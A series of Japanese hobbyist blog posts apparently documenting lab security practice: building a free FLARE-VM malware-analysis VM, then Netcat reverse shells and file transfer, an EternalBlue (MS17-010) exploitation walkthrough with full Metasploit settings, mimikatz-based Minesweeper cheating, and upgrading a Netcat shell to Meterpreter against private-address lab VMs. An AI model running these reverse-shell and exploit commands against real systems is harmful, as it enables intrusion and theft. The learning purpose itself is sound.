Re:ゼロ円から始める解析者生活 【解析環境】

f:id:appleseedj073:20170815221420p:plain

前回までの話

ra66itblog.hateblo.jp

 

ra66itblog.hateblo.jp

 解析環境

仮装環境を導入して、日本語化も済んだのでいよいよ解析環境を構築していきたいけど、1から揃えるのは何気に骨が折れる・・・。そこで今回は、これを利用する。

github.com

「FLARE-VM (FLARE:FireEye Labs Advanced Reverse Engineering)」これはFireEye社から出ている解析環境のイメージらしいです。しかも、無料!

とりあえず、天下のFireEyeが出してる環境なら間違いないってことで、こいつを組み込んでいきますw

で、Githubから落としても出来そうなんだけど「インストールや使い方に関してはブログみてね」って書いてあるのでブログの流れで実施します。

www.fireeye.com

 

1. 上記サイトにアクセス

2. リンクをクリック

f:id:appleseedj073:20171105004827p:plain

3. リンク先からファイルをダウンロードして実行

f:id:appleseedj073:20171105005037p:plain

4. 「実行」を選択

f:id:appleseedj073:20171105005455p:plain

5. インストーラのダウンロードが始まる

f:id:appleseedj073:20171105005510p:plain

6. インストーラのダウンロードが完了したら実行

f:id:appleseedj073:20171105005522p:plain

7. 一度だけパスワードの入力を求められる(インストール時の再起動に利用)

f:id:appleseedj073:20171105005540p:plain

8. あとはインストールの完了を待つだけ。

f:id:appleseedj073:20171105005551p:plain

9. 何度か再起動して待っているとインストールが完了する

f:id:appleseedj073:20171105013906p:plain

 

普通の?Windowsなら壁紙が変更されているんだけど、これは評価版なんで変更されない様子。でも、ツールはインストールされているので大丈夫。

f:id:appleseedj073:20171105014808p:plain

ツールの一部

・デバッガー

f:id:appleseedj073:20171105014950p:plain

・ネットワーク系

f:id:appleseedj073:20171105015004p:plain

 

さぁ、これでmalwareの解析がんばってみよう!

 

 

Re:ゼロ円から始める解析者生活 【日本語化】

f:id:appleseedj073:20170815221420p:plain

前回までの話

ra66itblog.hateblo.jp

日本語化

インポートしたままだと英語環境で、さすがに厳しかったので日本語化した。

 

1. 「Contorol Panel」→「Clock, Language, an Region」を選択

f:id:appleseedj073:20171104223112p:plain

2. 続いて「Add a language」を選択

f:id:appleseedj073:20171104224026p:plain

3. 「Add a language」を選択

f:id:appleseedj073:20171104224039p:plain

4. 「日本語」を選択して「Add」を選択

f:id:appleseedj073:20171104223318p:plain

5. 日本語の並びの「Options」を選択

f:id:appleseedj073:20171104223607p:plain

6. 「Download and install language pack」を選択

f:id:appleseedj073:20171104223407p:plain

7. 「Yes」を選択

8. ダウンロードが開始されるのでしばらく待機

f:id:appleseedj073:20171104223447p:plain

9. ダウンロードとインストールが完了したら「日本語」を選択した状態で「Move up」を選択

f:id:appleseedj073:20171104224439p:plain

f:id:appleseedj073:20171104224457p:plain

10. 「日本語」が選択されている状態で、画面左下の「Location」を選択

f:id:appleseedj073:20171104225841p:plain

11. 「Home location」をドロップダウンリストより「Japan」を選択

f:id:appleseedj073:20171104225858p:plain

12. 「Location」タブの隣の「Administrative」タブを選択し「Copy settings...」を選択

f:id:appleseedj073:20171104225916p:plain

13. 「Apply」を選択

f:id:appleseedj073:20171104225930p:plain

14. 出てきた画面下部のチェックボックス2つにチェックを入れて「OK」を選択

f:id:appleseedj073:20171104225953p:plain

f:id:appleseedj073:20171104230002p:plain

15. 再起動

f:id:appleseedj073:20171104230139p:plain

 

キーボードレイアウトの日本語化

英語キーボードの設定になったままだと色々と不都合なので日本語キーボードに変更した

1. 「Windows」→「設定」を選択

f:id:appleseedj073:20171104231848p:plain

2. 「時刻と言語」を選択

f:id:appleseedj073:20171104231919p:plain

3. 左側の「地域と言語」を選択

f:id:appleseedj073:20171104231934p:plain

3-1. この際、タイムゾーンもついでに変更しておくと便利

f:id:appleseedj073:20171104231950p:plain

4. 日本語の「オプション」を選択

f:id:appleseedj073:20171104232006p:plain

5. ハードウェア キーボードレイアウトの「レイアウトを変更する」を選択

f:id:appleseedj073:20171104232029p:plain

6. 英語キーボードから日本語キーボードに変更して「サインアウト」を選択

f:id:appleseedj073:20171104232048p:plain

7. ログインするをキーボードレイアウトが変更されている

 

システムロケールの変更

いちおシステムロケールを変更しておく

1. 「コントロールパネル」→「時計、言語、および地域」→「言語」→「場所」

2. 「管理」タブの「システムロケールの変更」を選択

f:id:appleseedj073:20171105000203p:plain

3. 「地域の設定」でドロップダウンリストより「日本語(日本)」を選択して「OK」を選択

f:id:appleseedj073:20171105000218p:plain

4. 再起動して設定完了

f:id:appleseedj073:20171105000240p:plain

 

解析環境へつづく・・・

 

Re:ゼロ円から始める解析者生活 【導入】

f:id:appleseedj073:20170815221420p:plain

Malwareの解析をやりたいなぁって思った。

でも、ウチはMacで、Windowsじゃないんだよね(T ^ T)

Macでも解析はできなくはないと思うけどやっぱりWindowsが良いよね。でも、仮想環境からOSまで揃えるとかなりの出費になる・・・。

そんな金はない!

てな訳で、お金をかけないで仮想化したWindowsの解析環境を作れないか追求してみる!

 

仮想環境

お金をかけない仮想環境といったらやっぱり「Oracle VM VirtualBox」と、個人的に思っているので、ダウンロードして使うことにする。別に「VMware Workstation Player」でも良いんだけど俺の記憶だとスナップショットが使えないような気がしたのでVirtualBoxを利用してます。

f:id:appleseedj073:20171104181843p:plain

あとは、インストールするだけ。これで仮想環境の準備完了。

 

次にOS、それもWindows。もし、自分は金銭的に余裕あるんで購入します!とか、会社のアカウントでいくらでもダウンロードできるんで大丈夫って人は読み飛ばしてくださいw

実は、Microsoftでは検証用にと無料でWindowsがダウンロードできる仕組みがあります。それが「Microsoft Edge - Microsoft Developer」です。

eveloper.microsoft.com

f:id:appleseedj073:20171104210552p:plain

1. 「Virtual Machines」を選択
2. 「Select a download」の「Virtual machine」ドロップダウンリストより必要なOSのバージョンを選択(今回はWindows10を選択)

f:id:appleseedj073:20171104211808p:plain
3. 「Select platform」のドロップダウンリストより仮想マシンを選択(Virtual Boxを使うので選択)

f:id:appleseedj073:20171104211832p:plain
4. 選択した内容を確認しダウンロード

f:id:appleseedj073:20171104211905p:plain

5. ダウンロードしてきたzipを解凍して、フォルダ内の「MSEdge - Win10.ovf」をVirtual Boxでインポートする。

f:id:appleseedj073:20171104214535p:plain

f:id:appleseedj073:20171104214645p:plain

6. インポート完了

f:id:appleseedj073:20171104214842p:plain

※ ちなみにこのWindowsは、あくまで検証用なので90日しか利用できないので気をつけてください。

 

起動

VirtualBoxより「起動」を選択してインポートした仮想マシンを起動する。パスワードは「Passw0rd!」

f:id:appleseedj073:20171104220054p:plain

 

日本語化へ続く・・・ 

 

 

とある親父の侵入実験【Netcatの使い方】

f:id:appleseedj073:20170503114540p:plain

今更感が半端ないんだけど、便利なネットワークツール「Netcat」の基本的な使い方を勉強してみたのでまとめておく。

 

f:id:appleseedj073:20170514011537j:plain

今回は以下のサイトを参考にして勉強しました。

www.hackingarticles.in

 

Port Knocking

 nc IPアドレス ポート番号

f:id:appleseedj073:20170813113021p:plain

ncコマンドを使用してポート番号にアクセスすると、そのポート番号を使用しているサービスを調べられる。 

 

Reverse Shell

netcatって言ったらこれかな?てか、ちゃんと調べるまで使用用途はこれしか知らなかったw 

Reverse Shellなんで標的となるVictim側から接続先のAttackerへConnectする。

待受側(Attacker)

 nc -lvp ポート番号

指定したポートで、標的からのReverse接続を待ち受ける。

f:id:appleseedj073:20170813135304p:plain

 

接続側(Victim)

 nc IPアドレス ポート番号

これで接続できる。でも、

 nc -e /bin/bash IPアドレス ポート番号

の方が、接続した時のshellを指定できるしなんとなく便利だから使うようにしている。

f:id:appleseedj073:20170813135400p:plain

 

接続すると

f:id:appleseedj073:20170813135430p:plain

待受側で接続が開始されたメッセージが表示される。

一応、確認するw

f:id:appleseedj073:20170813135604p:plain

Victim端末はmetasploitableなので間違いなくReverse接続されている。

 

ファイル転送

Reverse接続の応用で、入出力先をファイルにすることでファイルの転送もできる。

先ほどと同じ要領で待ち受けて、出力をファイルにリダイレクトする。

※passというファイルに保存されるようにした

f:id:appleseedj073:20170813142500p:plain

同じく接続も先ほどと同じ要領にしつつ入力をファイルに

※passwordというファイルを作成し入力ファイルにした

f:id:appleseedj073:20170813142527p:plain

接続が行われるとファイルが作成される。

f:id:appleseedj073:20170813142541p:plain

f:id:appleseedj073:20170813142638p:plain

 

他にもポートスキャンが出来たり、HTTPリクエストが出来たりするようだけど、Reverse接続とファイル転送が出来ればそれで十分かなと思うので他は割愛。 

 

 

地雷探しに脆弱性を使うのは間違っているだろうか 〜Hack a Minesweeper〜

f:id:appleseedj073:20170604162418p:plain

※これは、2017/06/03に「Akibasec #1」で喋ったLTを再編集したものです。

マインスイーパーってゲームを覚えていますか?若い人はもしかすると聞いたことないかもしれないんですが・・・。昔のWindowsには標準でインストールされているゲームで、いい感じ時間泥棒してくれますw

f:id:appleseedj073:20170604164101p:plain

マインスイーパ(Minesweeper)は1980年代に発明された、一人用のコンピュータゲームである。ゲームの目的は地雷原から地雷を取り除くことである。

このゲームは多数のコンピュータプラットフォーム向けに書き直されており、Microsoft Windowsをはじめ、LinuxGNOMEKDEなどのシステムに同梱されているものもある。

ウィキペディアより

 

ちょっと前回のMS17-010の検証でXPを引っ張り出して使っていたら、このゲームを見つけて見事に半日奪われましたw

そこで、思ったのです・・・

 

上級をクリアしたい!!

(ちなみに上級の世界記録は33秒らしいですw)

 

f:id:appleseedj073:20170604164541p:plain

要するにやりたいことは・・・

マインスイーパーの上級をすごい記録でクリアしてみたい!

そのためにマインスイーパーが動いているWindowsをハックして、マインスイーパーの裏技を見つけたい!

というもの。

 

準備したもの

 

環境(仮想環境)

  1. Windows XP(192.168.1.1)
  2. Kali Linux(192.168.1.100)

 

f:id:appleseedj073:20170604225141p:plain

1 調査

まずは、おきまりのポートスキャンをしてみた。すると・・・

f:id:appleseedj073:20170604225947p:plain

445番ポートが開いているのが確認できた。と、いうことは前回やったあれが使えますw

Eternal Blue(MS17-010)が使えるか確認する。

f:id:appleseedj073:20170604230413p:plain

 脆弱性が残っているのが確認できる。

2 Exploit

脆弱性の存在が、確認できたので前回の要領でWindowsのハックまでやっちゃいます。

 

ra66itblog.hateblo.jp

 

f:id:appleseedj073:20170604230904p:plain

なんだかんだで侵入完了。

3 MeterpreterからのまさかのMimikatz

次に、meterpreterからMimikatzを読み込む。

f:id:appleseedj073:20170604231229p:plain

これでmimikatz_commandという、要するにmeterpreter上でmimikatzを利用する準備が整う。パスワードクラックツールのmimikatzがマインスイーパーと何の関係があるのかわからないが、何故かマインスイーパーをクラックする機能がついているのであるw

このmimikatz_commandにあるwinmine::infosってのを使うと・・・

f:id:appleseedj073:20170604232424p:plain

ちょっと画像からだと判別しづらいかもだけど、答えが丸見え状態になってます(^o^)

これで、答えを見ながらクリアすれば良いのか?

実は、もっと便利なコマンドがあります。

それはwinmine::cheatと入力すると・・・(もうcheatって響きがとても良い!)

f:id:appleseedj073:20170604233013p:plain

上図は、見やすいように先にinfosで地雷の位置を表示させてからcheatを使用。

見事に地雷の位置に旗が立っている!この状態で旗の立っていない空白をクリックすると・・・

f:id:appleseedj073:20170604233254p:plain

クリア!!(所要時間1秒)

と、いう感じにチートができました(^-^)v

4 まとめ

 

ハッキングってどんなのー?って話を全くセキュリティのわからない人にする時って本当に困ります。目の前のパソコンに侵入して壁紙変えたりするのも良いかもしれないが、こんなやり方も若い子や、初めてセキュリティに触れる人には喜ばれるのでは?

とある親父の侵入実験【MS17-010の活用】

f:id:appleseedj073:20170503114540p:plain

今更なんだけど最近話題のWannaCryptが利用していることでお馴染みの脆弱性「MS17-010」を利用した攻撃というものを検証してみたいと思う。

itpro.nikkeibp.co.jp

脆弱性に関する細かいことは以下のリンクを参照してください。

マイクロソフト セキュリティ情報 MS17-010 - 緊急

 

今回は、この動画を参考にしています。


Ms17 010 eternalblue

 

準備したもの

 

環境(仮想環境)

  1. Kali Linux(192.168.1.100)
  2. Windows 7 (192.168.1.150)

 

1 環境構築

この動画によると、まず、wineをインストールする。

f:id:appleseedj073:20170514223432p:plain

 root@kl-01rbt:~# apt-get update

 root@kl-01rbt:~# apt-get install wine32

我が家の環境では、既にインストールされていた様子

 

次に脆弱性を利用する攻撃モジュールをゲットしてくる。

github.com

f:id:appleseedj073:20170514223719p:plain

 root@kl-01rbt:~# git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git

 

落としてきたやつの「deps」と「eternalblue_doublepulsar.rb」を/usr/share/metasploit-framework/modules/exploits/windows/smbにコピーする。この作業は動画のようにGUIでやったほうが簡単かも

f:id:appleseedj073:20170514224035p:plain

 

2 調査

次に対象となるWindows 7がSMBv1を使っているのかを調査する。

調査用のモジュールは最近のアップデートで組み込まれている様子。

f:id:appleseedj073:20170515003126p:plain

 msf > search ms17-010

これでDBを探すと「auxiliary/scanner/smb/smb_ms17_010」という名前の「MS17-010 SMB RCE Detection」をしてくれるモジュールが見つかるので実行

 msf > use auxiliary/scanner/smb/smb_ms17_010
 msf auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.150
 RHOSTS => 192.168.1.150
 msf auxiliary(smb_ms17_010) > run

調査の結果としては、MS17-010の脆弱性があって何か出来そうな雰囲気を醸し出してくれるw

 

3 攻撃準備 

モジュールを配置したらmetasploitの起動

 root@kl-01rbt:~# msfconsole

起動したら

f:id:appleseedj073:20170514225856p:plain

 msf > search eternalblue

 さっき入れたモジュールが見つかったらいつものように設定していく。今回はやたら設定項目長い・・・。

 

f:id:appleseedj073:20170514231514p:plain

f:id:appleseedj073:20170514231712p:plain

 msf > use exploit/windows/smb/eternalblue_doublepulsar
 msf exploit(eternalblue_doublepulsar) > set payload windows/meterpreter/reverse_tcp
 payload => windows/meterpreter/reverse_tcp
 msf exploit(eternalblue_doublepulsar) > set DOUBLEPULSARPATH  /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
 DOUBLEPULSARPATH => /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
 msf exploit(eternalblue_doublepulsar) > set ETERNALBLUEPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
 ETERNALBLUEPATH => /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
 msf exploit(eternalblue_doublepulsar) > set target 9
 target => 9
 msf exploit(eternalblue_doublepulsar) > set RHOST 192.168.1.150
 RHOST => 192.168.1.150
 msf exploit(eternalblue_doublepulsar) > set WINEPATH /root/
 WINEPATH => WINEPATH /root/
 msf exploit(eternalblue_doublepulsar) > set TARGETARCHITECTURE x86
 TARGETARCHITECTURE => x86
 msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT explorer.exe
 PROCESSINJECT => explorer.exe
 msf exploit(eternalblue_doublepulsar) > set LHOST 192.168.1.100
 LHOST => 192.168.1.100

 

4 攻撃 

これを実行してやると・・・

f:id:appleseedj073:20170514235132p:plain

f:id:appleseedj073:20170515000104p:plain

見事に侵入成功w

 

 

5 結論

この脆弱性自体、3月のアップデートで修正されているんだけど、今回のランサムウェア騒ぎでは適応していなかった(若しくは何かしらの理由で適応できない)環境の端末が感染して大変なことになった。やはり、パッチは公開されたら適用するべきだと思うし、もし何かしらの理由で適用ができないならばしっかりと代替手段を講じるべきだと思う。

ま、ペネトレ仕掛ける側とすると、こんなメジャー級の脆弱性が残ってる中小企業さんとか見つけちゃうと可哀想(ご馳走)に思えちゃうんだけどねw

とある親父の侵入実験【NetcatからMeterpreterへ】

f:id:appleseedj073:20170503114540p:plain

今日のお題は「Netcat」

f:id:appleseedj073:20170514011537j:plain

Netcatは、Unix系OSコマンドラインアプリケーションの一つ。TCPUDPのパケットを読み書きするバックエンドとして機能するツールで、ネットワークを扱う万能ツールとして知られる。後にWindows版なども登場している。

Netcat - Wikipedia

 

と、ウィキペディアでは紹介されているペネトレーションテストでは、何かとお世話になっている通信用のアプリケーション

これまでも、イベント等で脆弱性を見つけて、exploitしてみたらncで接続されたなんてことがありました。でも、やっぱりmeterpreterで操作できると便利なんだよね

(俺自身のレベルがまだまだ低いからw)

てか、そんなわけでnetcatで接続したセッションをmeterpreterへエスカレーションする手段についてまとめてみたいと思う

 

準備したもの

 

環境(仮想環境)

  1. Kali Linux(192.168.1.100)
  2. Metasploitable2 (192.168.1.200)

 

1 接続

f:id:appleseedj073:20170514012118p:plain

まず、Kali側でポートを指定して待ち受けしてやります。

 

f:id:appleseedj073:20170514012321p:plain

 msf > use exploit/multi/handler
 msf exploit(handler) > set payload linux/x86/shell/reverse_tcp
 payload => linux/x86/shell/reverse_tcp
 msf exploit(handler) > set LHOST 192.168.1.100
 LHOST => 192.168.1.100
 msf exploit(handler) > set LPORT 4444
 LPORT => 4444
 msf exploit(handler) > run

 

これで実行すると待ち受け状態になる

f:id:appleseedj073:20170514012452p:plain

 

そうしたら次はMetasploit側へ

f:id:appleseedj073:20170514012632p:plain

 

metasploitable側からncコマンドを使ってKaliへ接続をします

f:id:appleseedj073:20170514013116p:plain

 nc 攻撃側IPアドレス 待受ポート番号 -e /bin/sh

 nc 192.168.1.200 4444 -e /bin/sh

 

そうするとKali側では

f:id:appleseedj073:20170514013330p:plain

metasploitable側からの接続を受けてCommand Shellでのセッションが開く

ここで「control + z」を押してセッションをバックグラウンドへ移行する

 Background session 1? [y/N] y

f:id:appleseedj073:20170514013623p:plain

もとのコンソールに戻ってきたら一度「session」コマンドで確認

f:id:appleseedj073:20170514013902p:plain

 

2 昇格

次にmeterpreterへエスカレーションするモジュールをポストしてやる

 msf exploit(handler) > use post/multi/manage/shell_to_meterpreter
 msf post(shell_to_meterpreter) > set session 1
 session => 1
 msf post(shell_to_meterpreter) > run

f:id:appleseedj073:20170514014922p:plain

payloadが送信され今度はmeterpreterでのセッションが開いたことが確認できる

 

「session」コマンドで確認

f:id:appleseedj073:20170514015257p:plain

 

「session -i 2」で、meterpreterセッションに接続

f:id:appleseedj073:20170514015427p:plain

見事にmeterpreterでmetasploitableに接続できている!

 

3 結論

なんでこんなことをやったかというと、ここ最近のインシデントレスポンス系のイベントに参加した際に、ncで接続まではこじつけたのにそのあとファイルを奪取できなかったとか、対象端末の情報を搾取できなかったことが何度かありました。そんな時、レベルの低い自分としては「あー、meterpreterで接続とかできたらよかったのに(T . T)」

まぁレベル高い人からすると「ncコマンドが使える時点でなんでもできるよw」って笑われるんですけどね・・・。

 

とりあえず、俺の中でのnetcatへのリベンジ完了!!